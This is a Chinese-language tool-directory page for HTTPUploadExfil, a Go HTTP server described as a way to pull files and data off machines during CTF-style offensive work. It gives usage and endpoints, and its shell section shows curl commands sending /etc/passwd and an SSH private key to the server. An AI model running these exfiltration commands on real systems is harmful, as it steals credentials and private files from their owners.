Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTTPUploadExfil — 一个简单的HTTP服务器,用于在例如CTF比赛期间传递和窃取文件/数据。 | Kitploit
工具/GitHubGitHub/ingokl/httpuploadexfil
数据泄露Web安全CTF渗透测试
GitHubingokl/httpuploadexfil

HTTPUploadExfil

一个简单的HTTP服务器,用于在例如CTF比赛期间传递和窃取文件/数据。

查看仓库
82181年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil 是一个(非常)简单的 HTTP 服务器,用 Go 编写,用于通过 HTTP 从机器上获取文件(和其他信息)。虽然有很多应用场景,但它主要设计用于低风险的进攻性场景(例如 CTF)。

可以把它看作 python3 -m http.server,但功能是从机器上获取数据,而不是向机器发送数据。

显然,这是一种非常显眼且受限的数据窃取方式。尽管如此,它相当方便,且比使用 SMB 或 FTP 更简单。如果你在寻找更优雅的方案,不妨看看 dnsteal 或 PyExfil 等项目。

快速上手

  1. 使用 go build 构建工具。
  2. 在你的机器上运行 ./httpuploadexfil :1337 /home/kali/loot。
  3. 在需要窃取数据的机器上访问 http://YOUR_IP:1337/。
  4. 上传的文件会出现在 /home/kali/loot 目录中。

如果需要 HTTPs,请参考下面的说明。

你也可以从 GitHub 下载预编译的二进制文件,适用于 Linux 和 Windows。但这些二进制文件不一定代表最新的更改。

构建与开发

虽然有预编译的二进制文件,但强烈建议自行构建。这样你将获得最新版本,并且清楚自己运行的具体内容。过程非常简单:

只需在文件夹内运行 go build,即可获得适用于你平台的 httpuploadexfil 可执行文件。

如果你修改了工具,记得使用 go fmt main.go 来格式化代码。

你也可以使用 make 来构建工具。运行 make cert 可以生成 SSL 证书(参见下文)。

使用方法

最常见的用法是在机器 A 上运行服务器。然后在机器 B 上使用浏览器访问上传表单,选择一个文件进行窃取。当然,如下所示,也可以使用 curl 等工具实现。

除了上传文件,你还可以通过简单的 GET 请求来窃取数据。如果请求发送到 /g 端点,整个请求会被保存到磁盘。

因此,你可以通过请求头部来窃取数据。最简单的方法是使用 GET 参数(例如 ?data=...),但也有其他选项。

HTTPUploadExfil

默认情况下,HTTPUploadExfil 会在 8080 端口提供服务。所有文件都会写入当前目录。

./httpuploadexfil

你还可以提供一些参数:

./httpuploadexfil :1337 /home/kali/loot

如果需要请求日志记录,请传递 -log 标志,例如:

./httpuploadexfil -log

第一个参数是绑定地址,第二个是存储文件的文件夹。

该工具还会在 /l 端点下公开 loot 目录中的文件。这可以作为一种将文件轻松传输到目标机器的方式。

端点

Web 服务器提供以下四个端点供你使用:

  1. /(GET)是上传表单。
  2. /p(POST)接收来自上传表单的数据。它需要一个 multipart/form-data 请求,并且 file 字段已填写。
  3. /g(GET)会接收任何 GET 请求,并将完整请求存储在服务器上。
  4. /l(GET)提供对指定文件夹中文件的访问(目录列表)。这提供了基本的 python3 -m http.server 功能。

HTTPs 模式

HTTPUploadExfil 也可以在 HTTPs 模式下使用。只需将 HTTPUploadExfil.csr 和 HTTPUploadExfil.key 文件放在二进制文件旁边即可。例如,可以通过以下方式生成:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

你也可以运行 make cert 来完成此操作。

如果服务器检测到 HTTPUploadExfil.csr 文件,它将尝试以 HTTPs 模式启动。要切回 HTTP,只需删除或重命名证书文件即可。

Shell

使用 Bash,可以通过 GET 窃取数据,例如:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

当然,也可以使用 curl 窃取文件:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

待办事项

  • 实现 HTTPs 版本(传输加密)
  • 添加下载选项(即提供 python3 -m http.server 功能)
  • 为请求添加日志记录功能
  • 构建系统(特别是 Windows 和 Linux 的交叉编译)
下载工具